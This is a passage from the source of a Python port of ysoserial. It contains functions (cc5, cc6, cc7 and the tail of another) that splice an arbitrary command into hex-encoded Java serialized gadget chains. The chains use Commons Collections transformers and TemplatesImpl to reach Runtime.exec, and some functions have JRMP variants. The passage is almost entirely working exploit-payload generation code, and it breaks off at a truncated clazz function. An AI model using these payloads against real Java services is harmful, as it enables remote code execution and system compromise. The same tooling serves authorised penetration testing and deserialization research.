"cafebabe00000034003907003701002e636f6d6d6f6e342f436f6d6d6f6e436f6c6c656374696f6e733424537475625472616e736c65745061796c6f6164070004010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700060100146a6176612f696f2f53657269616c697a61626c6501001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f64650a000300100c000c000d01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100304c636f6d6d6f6e342f436f6d6d6f6e436f6c6c656374696f6e733424537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a457863657074696f6e73070019010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c65010010436f6d6d6f6e34746573742e6a61766101000c496e6e6572436c617373657307002701001a636f6d6d6f6e342f436f6d6d6f6e436f6c6c656374696f6e7334010013537475625472616e736c65745061796c6f61640100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 13 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572343330343335363631323736373601001f4c79736f73657269616c2f50776e657234333034333536363132373637363b002100010003000100050001001a000700080001000900000002000a00040001000c000d0001000e0000002f00010001000000052ab7000fb10000000200110000000600010000007d00120000000c000100000005001300380000000100150016000200170000000400010018000e0000003f0000000300000001b10000000200110000000600010000008200120000002000030000000100130038000000000001001a001b000100000001001c001d000200010015001e000200170000000400010018000e000000490000000400000001b10000000200110000000600010000008600120000002a00040000000100130038000000000001001a001b000100000001001f002000020000000100210022000300080029000d0001000e00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002300000002002400250000000a000100010026002800097571007e0021000001c9cafebabe00000034001b07000201001e636f6d6d6f6e342f436f6d6d6f6e436f6c6c656374696f6e733424466f6f0700040100106a6176612f6c616e672f4f626a6563740700060100146a6176612f696f2f53657269616c697a61626c6501001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f64650a000300100c000c000d01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100204c636f6d6d6f6e342f436f6d6d6f6e436f6c6c656374696f6e733424466f6f3b01000a536f7572636546696c65010010436f6d6d6f6e34746573742e6a61766101000c496e6e6572436c617373657307001901001a636f6d6d6f6e342f436f6d6d6f6e436f6c6c656374696f6e7334010003466f6f002100010003000100050001001a000700080001000900000002000a00010001000c000d0001000e0000002f00010001000000052ab7000fb10000000200110000000600010000007600120000000c0001000000050013001400000002001500000002001600170000000a000100010018001a00097074000450776e727077010078757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000017672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c6174657300000000000000000000007870770400000003737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000000171007e002b78" 14 | length = (0x689 + len(cmd)).to_bytes(4, byteorder='big').hex() 15 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 16 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 17 | data = bytes.fromhex(hexdata) 18 | return data 19 | -------------------------------------------------------------------------------- /src/pyyso/yso/cc5.py: -------------------------------------------------------------------------------- 1 | def cc5(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f028e8d5d4500000180c6e5245380017372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b787371007e000071007e001c707571007e0009000000047371007e000b0000005174002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a6563747371007e000b0000003371007e001f71007e002071007e00217371007e000b0000004574002679736f73657269616c2e7061796c6f6164732e4f626a6563745061796c6f6164245574696c737400124f626a6563745061796c6f61642e6a6176617400116d616b655061796c6f61644f626a6563747371007e000b0000007171007e000d71007e000e71007e001571007e001978737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d834189902000074001966696c653a2f707269766174652f746d702f79736f2e6a61727870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000174001966696c653a2f707269766174652f746d702f79736f2e6a61727870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e004500000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e00457371007e003d7571007e004200000002707571007e004200000000740006696e766f6b657571007e004500000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00427371007e003d757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174" 4 | postfix = "740004657865637571007e00450000000171007e004a7371007e0038737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f40000000000000770800000010000000007878" 5 | length = len(cmd).to_bytes(2, byteorder="big").hex() 6 | hexdata = prefix + length + cmd.encode().hex() + postfix 7 | data = bytes.fromhex(hexdata) 8 | return data 9 | prefix = "aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000027372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000003174001a636f6d6d6f6e352e436f6d6d6f6e436f6c6c656374696f6e7335740010436f6d6d6f6e54657374352e6a6176617400096765744f626a6563747371007e000b00000017740013636f6d6d6f6e352e436f6d6d6f6e546573743571007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e001878737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e003000000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00307371007e00297571007e002d00000002707571007e002d00000000740006696e766f6b657571007e003000000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002d7371007e0029757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174" 10 | postfix = "740004657865637571007e00300000000171007e00357371007e0025737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878" 11 | length = len(cmd).to_bytes(2, byteorder="big").hex() 12 | hexdata = prefix + length + cmd.encode().hex() + postfix 13 | data = bytes.fromhex(hexdata) 14 | return data 15 | -------------------------------------------------------------------------------- /src/pyyso/yso/cc6.py: -------------------------------------------------------------------------------- 1 | def cc6(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f023dd0200700000180c6e8617680017372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d834189902000074001966696c653a2f707269766174652f746d702f79736f2e6a61727870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000174001966696c653a2f707269766174652f746d702f79736f2e6a61727870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e003b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e003b7371007e00337571007e003800000002707571007e003800000000740006696e766f6b657571007e003b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00387371007e0033757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174" 4 | postfix = "740004657865637571007e003b0000000171007e00407371007e002e737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000077080000001000000000787878" 5 | length = len(cmd).to_bytes(2, byteorder="big").hex() 6 | hexdata = prefix + length + cmd.encode().hex() + postfix 7 | data = bytes.fromhex(hexdata) 8 | return data 9 | prefix = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174" 10 | postfix = "740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878" 11 | length = len(cmd).to_bytes(2, byteorder="big").hex() 12 | hexdata = prefix + length + cmd.encode().hex() + postfix 13 | data = bytes.fromhex(hexdata) 14 | return data 15 | -------------------------------------------------------------------------------- /src/pyyso/yso/cc7.py: -------------------------------------------------------------------------------- 1 | def cc7(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f027315510700000180c6f09c3780027372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200136a6176612e7574696c2e486173687461626c6513bb0f25214ae4b803000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000877080000000b000000027372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d834189902000074001966696c653a2f707269766174652f746d702f79736f2e6a61727870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000174001966696c653a2f707269766174652f746d702f79736f2e6a61727870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e003600000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e00367371007e002e7571007e003300000002707571007e003300000000740006696e766f6b657571007e003600000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00337371007e002e757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174" 4 | postfix = "740004657865637571007e00360000000171007e003b7371007e0029737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c77080000001000000001740002797971007e004e787871007e004e7371007e001e71007e00257371007e004f3f4000000000000c770800000010000000017400027a5a71007e004e78787371007e004c0000000278" 5 | length = len(cmd).to_bytes(2, byteorder="big").hex() 6 | hexdata = prefix + length + cmd.encode().hex() + postfix 7 | data = bytes.fromhex(hexdata) 8 | return data 9 | prefix = "aced0005737200136a6176612e7574696c2e486173687461626c6513bb0f25214ae4b803000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000877080000000b000000027372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001700000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00177371007e000f7571007e001400000002707571007e001400000000740006696e766f6b657571007e001700000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00147371007e000f757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174" 10 | postfix = "740004657865637571007e00170000000171007e001c7371007e000a737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001740002797971007e002f787871007e002f7371007e000271007e00077371007e00303f4000000000000c770800000010000000017400027a5a71007e002f78787371007e002d0000000278" 11 | length = len(cmd).to_bytes(2, byteorder="big").hex() 12 | hexdata = prefix + length + cmd.encode().hex() + postfix 13 | data = bytes.fromhex(hexdata) 14 | return data 15 | -------------------------------------------------------------------------------- /src/pyyso/yso/clazz.py: -------------------------------------------------------------------------------- 1 | def clazz(cmd: str) -> bytes: 2 | """ 3 | 